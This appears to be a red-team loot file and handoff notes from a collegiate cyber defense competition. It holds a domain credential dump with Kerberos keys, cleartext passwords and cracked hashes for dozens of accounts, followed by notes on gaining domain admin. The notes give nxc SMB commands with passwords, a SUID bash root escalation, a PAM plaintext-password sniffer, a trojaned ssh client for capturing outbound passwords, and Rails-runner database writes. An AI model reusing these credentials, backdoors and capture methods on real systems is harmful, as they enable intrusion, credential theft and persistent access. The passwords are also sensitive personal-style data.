randy.young:des-cbc-md5:2325e379c80b516e
jesus.davis:aes256-cts-hmac-sha1-96:e75464c8ceaff3fbdd5af169fb9f9f4038f442fce6b1d071c33e565ff7028a4d
jesus.davis:aes128-cts-hmac-sha1-96:26668dcd9221b917c684bbbb8d860809
jesus.davis:des-cbc-md5:adce139e6734ce2c
debra.lewis:aes256-cts-hmac-sha1-96:d9d0d7b49d813cd17a81d37d4ac6ce3c3a0af4ab57ef87b0416c6ae1fc053eb7
debra.lewis:aes128-cts-hmac-sha1-96:9fb4072ddd9559731af2005baaf6bf1b
debra.lewis:des-cbc-md5:5ee0317326dc5efb
karen.williams:aes256-cts-hmac-sha1-96:f8ee7d1431731a32f985e0b312c505a1a8b6b22b0f402d613c3a6a013c614664
karen.williams:aes128-cts-hmac-sha1-96:04f0c14b7f3c385717a6fc55b8577c16
karen.williams:des-cbc-md5:62b6376b98e9ae6b
annette.atkins:aes256-cts-hmac-sha1-96:edb50a79e326e21a3b9bfacee817902b7fb880d4f03bd6e7fe91061aa9f9f39d
annette.atkins:aes128-cts-hmac-sha1-96:a663309ebd942457259a35c7c9f60b38
annette.atkins:des-cbc-md5:f8f8c4aeae9bd667
amber.winters:aes256-cts-hmac-sha1-96:30e664307a00bcfaaa14b00919e0ba54169ff794d7bfb0142d9f5d83af4b5d49
amber.winters:aes128-cts-hmac-sha1-96:690a8c5a5a32d623078602ac74dccb12
amber.winters:des-cbc-md5:2f2ce96264cbb386
kendra.doyle:aes256-cts-hmac-sha1-96:2b82a6ba8da617f77dc156dcf8fc7b5e1c09b612e2b960b1e886c7535d77bc6f
kendra.doyle:aes128-cts-hmac-sha1-96:bea5f20acddcdc8b28db86df8794745a
kendra.doyle:des-cbc-md5:86bf4a4a1c08d043
jasmine.moore:aes256-cts-hmac-sha1-96:e64101569bef32e2f035f0e9715d4260257ca5202473963d5f78da6b704f2662
jasmine.moore:aes128-cts-hmac-sha1-96:6058541868a54235745af3a81d6c9fa5
jasmine.moore:des-cbc-md5:389b2f322580ad8a
DB$:aes256-cts-hmac-sha1-96:4a29bba1f135919d8d3efe489ab7578d9f93277118c9ec8d00329810190d8ad9
DB$:aes128-cts-hmac-sha1-96:7c5930e20a67e428209dab468c53c4ec
DB$:des-cbc-md5:baadbfa8c45e97ba
CAN$:aes256-cts-hmac-sha1-96:2912ab8466fe386234bf2365ae82e4e6d9fa381b0b2ab2c4ab3db061d3eeced1
CAN$:aes128-cts-hmac-sha1-96:e8bda9fd957be10a2f8e7f0a021c712b
CAN$:des-cbc-md5:2580bfc4910eda16
WWW$:aes256-cts-hmac-sha1-96:89b85e09292fd6d17ed3c0ab7d62c2c4058e12e0f4883b4b73377099d3c671a6
WWW$:aes128-cts-hmac-sha1-96:795fce2a010acd0aea63e8dd6c2ccfc6
WWW$:des-cbc-md5:ef40381646387a6d
LIB$:aes256-cts-hmac-sha1-96:f8b6b176da92904b41ee6d8df610267fe923158552bb5f65e00c5f23d9b8e649
LIB$:aes128-cts-hmac-sha1-96:b8ac31c6ed30a1554bb2d493ee0f7702
LIB$:des-cbc-md5:1658b39b2f708525
team1.isucdc.com\padmin:aes256-cts-hmac-sha1-96:314e8f692c7c0722c7b5c75db9682ed98552aff028c7a9e1aa73985d6b6665b7
team1.isucdc.com\padmin:aes128-cts-hmac-sha1-96:2afeee026ea6275a02d1d674f4432df6
team1.isucdc.com\padmin:des-cbc-md5:4c26d576f4918326
team1.isucdc.com\canvas.service:aes256-cts-hmac-sha1-96:d66c8f5eb393460239612f8633402c4c103c922a7932b72cb07c6b121241139b
team1.isucdc.com\canvas.service:aes128-cts-hmac-sha1-96:ad8340fd8b9c868694492e2079837598
team1.isucdc.com\canvas.service:des-cbc-md5:b5c7c845f76d29a2
[*] ClearText password from \\ad.team1.isucdc.com\ADMIN$\Temp\jnpMtqvh.tmp 
Administrator:CLEARTEXT:poohsadadminpasswordQEu6@!TwewfdiZ66%nP2
Guest:CLEARTEXT:cdc
AD$:CLEARTEXT:☼햡⤼ᙦ纄உ㩳ဣ쭃뚔髢ὦ昷㧐溜䴏蘿ﻅ垎夠ꀳ肷娇ꮅ吘俓눼ﭨꞻ슍թ떍芲ᰔબ렷軨ਬ눒ᕅ渔캀⟠䯦륀柊쩔楢䗾ሙ﹐쮭秽㡘엜Ԡ䩎軰婂있ὂ긪俶ﰌ㘜畤醆鮆Ǧ翓軆ᣅ譋謘⣃ᑺ䣄끙犔큕낁Ệ↎徶ﱙ斟楒女땻䜸∋㛗꞉鄹໖섞ᶈ魶ꙇ哷䍆駰瘾莤翴憉뒫
krbtgt:CLEARTEXT:0x0636c0dd1d504609963a18d8f37f08fa8a1e2fa1bc0150a6193a699c3168fbf722672f9780e914f74d3db67b867d7d8e041d46b84167a0bd9de4cba2fd95ff05b5d6b6febbc952eafde0efe23f9b316967146895d3b99d57a3167add375651fa1f98ef4d2b30ef640ac87bce450b9b8cafef3c774b0d56b36491b6d80c4100029473f3e4099d1bc6ab2781ff220c9cef655e3493b117f1821938d3859de684591d368590bc99f29b2515ff14594bc1d6394459d48b98a0afb8393c3f154e05d2506215dcc21b40c2574ed969d28a46065c853e9bb4f66ca40855a92e5338badd84010de667ae2f350da65840cd5d4fd046acfb9a4700d2fc84b02f73613e31b243d8e8e43a33ec3726cb56c9547ea65fc66ba915f33b8bc50106bb84805f638099ecddba6ef12838ffb66e80cd4db4dbf515e28c05d3492b2234c69fc6c4967067db9811501e32141a2a5cf4f3be3365008e49e32054ba12bdefe9c8088163e67b684267999dcc840496951271d04b1f6f470b575a29b107ea42f87ca58134b9139c41638d28c9d0bc990ecf0f584d454d4e5354f4903032cbca04c51a2bf11c9e0d11fcdada23ac8bfcc3b9474409da3caa40678b8afeebd7b05f773eaf6205a65f710af7482427dcb71a84aacfd28b77709d9ac28da8b8fa5cb875c2bd9822b03f9c33de68f6033f26872b679dd9f5439862b92253d5e4a30caf973b84ea2d
gabrielle.jackson:CLEARTEXT:hek846kun
steven.fields:CLEARTEXT:til564loq
brian.holt:CLEARTEXT:tix854xoh
bryan.woods:CLEARTEXT:sag158sox
sean.hernandez:CLEARTEXT:div259quj
laura.turner:CLEARTEXT:kid887tiz
david.terrell:CLEARTEXT:xxglamorsgurlxx
richard.clay:CLEARTEXT:15002281
thomas.molina:CLEARTEXT:643010
wesley.wilson:CLEARTEXT:43v3r
eric.pena:CLEARTEXT:youroneandonly
tyler.marshall:CLEARTEXT:tequierokarla
jonathan.ochoa:CLEARTEXT:cavers1
joseph.baker:CLEARTEXT:terrycotonete
darryl.freeman:CLEARTEXT:estravagante
doris.wolfe:CLEARTEXT:coqui97
rachael.perez:CLEARTEXT:deon
brandy.smith:CLEARTEXT:030802
cynthia.vance:CLEARTEXT:mt9890
allison.brown:CLEARTEXT:miguelina01
caitlin.parker:CLEARTEXT:*fresa*
joshua.martin:CLEARTEXT:tobebe
angela.howard:CLEARTEXT:nederland
nicole.morrison:CLEARTEXT:fv1991
kelly.nelson:CLEARTEXT:voltaparamim
johnny.strong:CLEARTEXT:jorgie
robin.meyers:CLEARTEXT:rianb0w
travis.wright:CLEARTEXT:magic184
carmen.spencer:CLEARTEXT:210072
stephanie.scott:CLEARTEXT:vicotrhugo
jennifer.gonzalez:CLEARTEXT:wogboytroy
john.vaughn:CLEARTEXT:yeh990hob
mary.perkins:CLEARTEXT:bav879sot
kristopher.roberts:CLEARTEXT:fic060qix
patrick.howell:CLEARTEXT:xek200meb
daniel.tucker:CLEARTEXT:sij805qin
stacie.rodriguez:CLEARTEXT:073124
joan.francis:CLEARTEXT:tales
lisa.may:CLEARTEXT:twixtaz
charles.hawkins:CLEARTEXT:123imme
william.fernandez:CLEARTEXT:asaness8894331
monica.joseph:CLEARTEXT:milosova
kyle.pratt:CLEARTEXT:claire100
austin.sanchez:CLEARTEXT:boomer31
nina.hurst:CLEARTEXT:16442555
luke.tapia:CLEARTEXT:larissa5
james.gutierrez:CLEARTEXT:wehaterieg
benjamin.harris:CLEARTEXT:trinity420
shari.taylor:CLEARTEXT:nov0594
scott.gibson:CLEARTEXT:thaiscristina
sheila.west:CLEARTEXT:liz118
katelyn.rivers:CLEARTEXT:thankyoulord!
curtis.miller:CLEARTEXT:1122rc
jessica.copeland:CLEARTEXT:taniec10
tiffany.robinson:CLEARTEXT:2692
christina.henderson:CLEARTEXT:2589279
dana.malone:CLEARTEXT:yoda24
stephen.warner:CLEARTEXT:Yesenia
shawn.rosario:CLEARTEXT:tim228
nathan.ford:CLEARTEXT:xaawoo
jacob.morse:CLEARTEXT:dee1dee1
katherine.stevens:CLEARTEXT:mickeyd3
kenneth.santos:CLEARTEXT:JamesG
randy.young:CLEARTEXT:0834464043
jesus.davis:CLEARTEXT:veruka13
debra.lewis:CLEARTEXT:mz.shineyb
karen.williams:CLEARTEXT:supaywawan
annette.atkins:CLEARTEXT:31649731
amber.winters:CLEARTEXT:tristj1234
kendra.doyle:CLEARTEXT:baby44
jasmine.moore:CLEARTEXT:a62104
DB$:CLEARTEXT:㳆ꠖばꀡﰼ뎺ꇉ缷꒎旻⪯ʣ旴︨㩈ﾤ룝燔⏮瑲ꨰ㿹끣밒泴㵤繦橭Ꜯ﨧㊯㻰❏缱끹恎Ⱕ눨ꀓ︺뵗猞꼃㽹ꉫ㔚땩ꥻԞꋘ⹫㶾˃⬞꓁븹뿷뚭暑룵粙닺ꞃ㯗㖟㧤撾ꇗﲱⳄ皉ꠐ붽늏掩롾橇溮㕈빣拲㔁낚륀狦㠤㣗梺棯됧골曊慕ꑲ⠲怎㏿椇Ȕ溛欴箺Ē봦ꮒ㭤目뭏狪㉶眔矔＄獥⫃궗㻶ﰸ갴ꇨ롶⤘
CAN$:CLEARTEXT:@%Ztbm%hql+D+Ry%:Rbk,fN+w63T>8TM18@qE8>(Ylm8h4v]5PHipR>B_f@y*sm5N%v58Va=Ye5JL7a?f^.eKSbG(E,x@mRb:eMTiY0,opBC)Ds^(E*C0J#j
WWW$:CLEARTEXT:U9eHnoT-IqE?nOFG_wmEtTd5;T.TtR8%RHDBO*fJKsdGGj&7.9RlnWSf<]a6;\kX+r#Hb%c-
LIB$:CLEARTEXT:櫆￦믓⌿溸똡涺牄０㣹㈒瘴룙睾℠Ⱊヂی栭꬜듖뼅拫陸礖瞨⋻룡斟⻨굗熳Ｑ㕾硣汝놀ﭾ済㚄㘬︼ꅵ궳澶緒ꎿ㋊㐁禹볽⫆Ⲋ憹旨禧ꄞ稐ꂂ扊檥滇㙮礜穇擎ⴋ⿤璡㕵뵓뿳╅绀ォ⫆⡮柽樮撐汪く㫄똥抆秌ףּ昊杢溁ꪩ翬熤≉で
team1.isucdc.com\padmin:CLEARTEXT:poohcanyoucheckifscratishere?please
team1.isucdc.com\canvas.service:CLEARTEXT:W8NzoGYs51onWwifu&LKX
[*] Cleaning up... 


Cracked:

New creds:
5752c92b235a21f38c4bbf10c557c204
6aa15b3d14492d3fa4aa7c5e9cdc0e6a->cdc
f29af53e1547ba6f18fa4cff4d2f8531
a04a2a78bd417e84cf83e31ed3284160
7c0c4dbfc7322c9c97b1135adacf13a5->hek846kun
3d8b39684261de8c15c10e185b380ee6->til564loq
da3d4cf1513a531c4fa51bc5ad36ae2e->tix854xoh
3a7a256d9ab3f313ea5da137c524a438->sag158sox
c62b591b3a8852183718e521f3c4a971->div259quj
defb2be6a4679fbb9fc820beb174859e->kid887tiz
b2af874e60c359ec4cca8a1c0ce1a843->xxglamorsgurlxx
e83472c683cb511cfc009fa5cd947e41->15002281
2fbfbe213ba320e22a992ab4c1fb3ff0->643010
5b941814c7b865101bab7ff343c244fa->43v3r
884b72d1fd91ab0ad7276df25b7d9008->youroneandonly
1bbaec977634e5a47ff1c8f20fe64a2a->tequierokarla
c10cd6d068b7643faf4b900513b59233->cavers1
d8a1bf2166893dd3c30e5c8fe5ca7f7c->terrycotonete
0ab73ba90a6205ac5ceafe2e4683f00b->estravagante
7ecf1ffd039f39da3acbfb9aff38f71d->coqui97
e44a57e48aa74f6cb7ff8e628ab7ac39->deon
b89570a59dde43d5df3f47be9219d34e->030802
8fe7404e3e693351361f9610a61ac4a2->mt9890
5b4210b0d4d507adbbcf516d7567a024->miguelina01
2e7e1f81d1e998c065e35ad42f5822d4->*fresa*
ac775aa94b44c6162a0a49a5448783d3->tobebe
696a8cb195d07eb9d2ef66cfdbec9557->nederland
3cf0a1a4193e86a9803733a78279997e->fv1991
a49f3c058bf50d4c0a79711a834b5792->voltaparamim
dcbb377095dd9b9e96f9603d1d6348c8->jorgie
63608ed2878c4f8b0ac1c856e6a82e35->rianb0w
c51cb4f55e7a2379b21d7003339328df->magic184
291786b9b3bcc008605c3c2259beda1e->210072
de4ad3ff481293893381a0b8dfb822bc->vicotrhugo
2a13b5f5c65bd9fce484e27b9462bc18->wogboytroy
cc983ec3cfd62489e632e3a269e07e9b->yeh990hob
0ca38481e6be79aad94bf0e5c4d20651->bav879sot
40cb9a9c0b8ed4d19a3706c07edbd79c->fic060qix
56724c58d28de4bd22f0cd24fde2f377->xek200meb
5139d8ba9d5a935931644400f5cbf4c6->sij805qin
5e7c7f9e86d7838d6fd6150a2d0d109f->073124
2773155313cb43140569c3f1e9a5d1c4->tales
389e13ff58a4c227c20c3b4eda935e57->twixtaz
d40f050a476e45c2add572a89914f01a->123imme
d6f2713f913f547c6a65081bdbfdd5bf->asaness8894331
7553083e455a0136117671c721fdd242->milosova
44f11b2958d02c170c2fd1c5b760c590->claire100
0d77f012e0f54683e14051e26aa84463->boomer31
c672938d723152116097f4e0cd9bb8d3->16442555
4a37df30ae3ba14ae5876d08e1ec4e01->larissa5
700e54202c89fc5d3f146c934ffdf8c8->wehaterieg
bcabd0825dfab1aa3221244e8ab5d320->trinity420
3e638821438af7854aca40ffdd1d40d3->nov0594
409f7393dfd60fc1ca0be51a30d5e170->thaiscristina
ebdcc82f64fd8dbefb128f4a761c6990->liz118
a18d3d0f06f81f49978b5942f7ec8ea7->thankyoulord!
15a2c0b6c28bfc4a1fe052fd01b608be->1122rc
aa7802ba963156d101ad60acd2a17a34->taniec10
c73bc61b24555003b00ad0e6bba74c9a->2692
a3c5138bd4d8f0b5ced597e4a2bcb1ca->2589279
211aeb79213f364851b301832f9baa5b->yoda24
93a55d84e0c753f9914d7f49ce4420ee->Yesenia
f792cabb36d59e5fb2c069c680fe9c73->tim228
9c25871e463475a11daa9130f2da283c->xaawoo
42d7a3a0cb852dde4f9a9b5f835e1b0d->dee1dee1
97cb013cc62f921a42152ccb812cf9d4->mickeyd3
f37cdc97d313fe8c4ffa996217d2dbec->JamesG
4b64b2a29597ddf79a76a31973284112->0834464043
714b04abf38dec0925d20fcc1c8f3aed->veruka13
a8fe0b6d675f1be6686eaad5b22c9c29->mz.shineyb
c324feeb2b01f1f070f92e80e69d49f1->supaywawan
df678b8644e405769f52a70d785c8250->31649731
439fb133a55267c6056256a5cfeca3d7->tristj1234
4f6dce7663b471139c74f66318ac469c->baby44
1547082a64a0ee66357ce3210dfeb4b2->a62104
d3dde2b512783ab733f38a8e6e209586
3f053acbf00e3a2366bbd64ac230c335
942d27ee58b1d10a88e6b491d98e3f93
c646f22afc0d53232b402509a6054479
35910adba877193488eb4c69d85aaf2b
f158ce0b38ee160ec8a060fdae6c5024

=== CREDENTIALS - romans6 (team1) === rachael.perez : deon -> DOMAIN user. SSH to www(.30) + canvas(.40). NOT sudo. (our foothold; blue rotating creds, may die) Canvas PROD DB: canvas : cdc @ db.team1.isucdc.com:5432 / canvas_production (UNROTATED; from world-readable /var/canvas/config/database.yml). Reachable only from the WWW box. COPY..PROGRAM RCE if superuser - DB currently timing out/defended. Canvas ServicesJwt secret = DEFAULT "astringthatisactually32byteslong" (world-readable /var/canvas/config/vault_contents.yml) -> can forge Canvas admin session (see method on Team3 page). Privileged accts: sudo group = pooh ; "it administrator" = gabrielle.jackson, steven.fields (their team1 DOMAIN pw unknown / blue-rotated). pooh : wheredidtigerGO?idontknow! -> Canvas WEB login ONLY (SSH denied).

=== TEAM1 VALIDATED ACCESS & METHODS - romans6 (all confirmed working) === DOMAIN ADMIN creds (SMB Pwn3d on DC, live as of ~17:0x): steven.fields : rid115hur (DA; rotated from til564loq - watch for re-rotation) padmin : poohcanyoucheckifscratishere?please (DA) (gabrielle.jackson blue-rotated; rachael.perez:deon = low-priv foothold, SSH www+canvas) AD FLAGS - DONE via DA over SMB C$ (nxc, works from our attack box): nxc smb ad.team1.isucdc.com -u steven.fields -p rid115hur --get-file 'Windows\System32\team1_ad-cwindowssystem32.flag' /tmp/x (System32 blue flag) nxc smb ... --put-file team1_ad-cusersadministrator.flag '\Users\Administrator\...' (AD red flag planted) CANVAS box (.40) = ROOT: /usr/bin/bash is SUID -> `bash -p` = euid 0. Used for Canvas /etc capture, Canvas red flag + deface plant. PAM sniffer live: /etc/pam.d/{sudo,common-auth} -> logger /usr/local/sbin/sss_cc_helper -> log /var/tmp/.sss_cc (captures plaintext of anyone auth'ing to canvas). canvas LOCAL pooh pw = aPM7&!wyFiEXm6qa (= domain pooh). canvas user is LOCKED (nologin) by blue. DB-RECORD red flag - DONE without OS root: DB 5432 is firewalled to NEW conns, but the Canvas app's LIVE DB connection works. On canvas (root): setuid(0) then `cd /var/canvas && bundle exec rails runner` with ActiveRecord::Base.connection.execute("CREATE TABLE redteam_flag(flag text); INSERT ...") -> table lands in canvas_production. (ruby refuses -r under SUID, so become REAL root first; canvas acct locked so don't su to it.) STILL OPEN (need a teammate with www/db LOCAL root): - WWW /root (www.team1 .30) red flag -> needs OS root on www - DB /root (db.team1 .20) red flag -> needs OS root on db www/db sudoer = LOCAL pooh ONLY (blue stripped %Domain Admins sudo there); local pooh pw is PER-BOX and != aPM7 (canvas sniffer can't see it - admin types it into outbound ssh). No SUID shell / no sudo for DA / patched kernel+sudo+no pkexec on www; db=Debian11 5.10.0-32 patched, no compiler. To finish: capture the admin's OUTBOUND `ssh pooh@www/db` password (hook ssh client on canvas), or land local root another way, then drop team1_www-root.flag / team1_db-root.flag in /root (644).

=== TEAM1 FINAL STATUS & HANDOFF - romans6 === team1 = 8/10. DONE: captures AD-System32, WWW /etc (+ DB/etc, Canvas/etc by teammates); plants AD C:\Users\Administrator, Canvas /var/canvas/flag, Deface Canvas, DB-record. (All submitted 302.) OPEN (2): WWW /root, DB /root -> need LOCAL-pooh OS root on www(.30)/db(.20). Blue stripped %Domain Admins sudo there (DA=SSH only); sudoer=LOCAL pooh only; local pooh pw is PER-BOX & custom; boxes fully patched (linpeas+pspy+root-daemon trio clean); canvas DB user not postgres superuser. TO FINISH: capture the admin's OUTBOUND ssh pooh@www/db password. Tooling installed on canvas(.40) (root via SUID /usr/bin/bash -> `bash -p`): - PAM sniffer: /etc/pam.d/{sudo,common-auth} -> /usr/local/sbin/sss_cc_helper -> /var/tmp/.sss_cc [VERIFIED capturing inbound auth: logged rachael/steven/pooh plaintext. canvas LOCAL pooh=aPM7&!wyFiEXm6qa, but that is canvas-only; www/db local pooh pws differ and are NOT seen by this inbound sniffer.] - ssh-client wrapper: /usr/local/bin/ssh (orig /usr/bin/ssh), intended to log "SSHCLIENT ... PW=" for the admin's OUTBOUND ssh pooh@www/db. **UNVERIFIED — it was deployed but NEVER confirmed to capture anything; TEST it before relying (run a known ssh+password and check /var/tmp/.sss_cc).** - The capture WATCHER was STOPPED at session end -> re-arm: tail -F /var/tmp/.sss_cc | grep SSHCLIENT Then ONE clean login (no spray - CrowdSec): ssh pooh@www.team1 (or db) -> sudo su -> cp team1_www-root.flag (or team1_db-root.flag) to /root/ ; chmod 644 -> submit plant 1547 (or 1541). Red files: our loot/red_flags/team1/. NOTE: these are OUR installed backdoors on a Blue box - clean up (/usr/local/bin/ssh, sss_cc_helper, the two pam.d lines, /var/tmp/.sss_cc) at engagement end if required.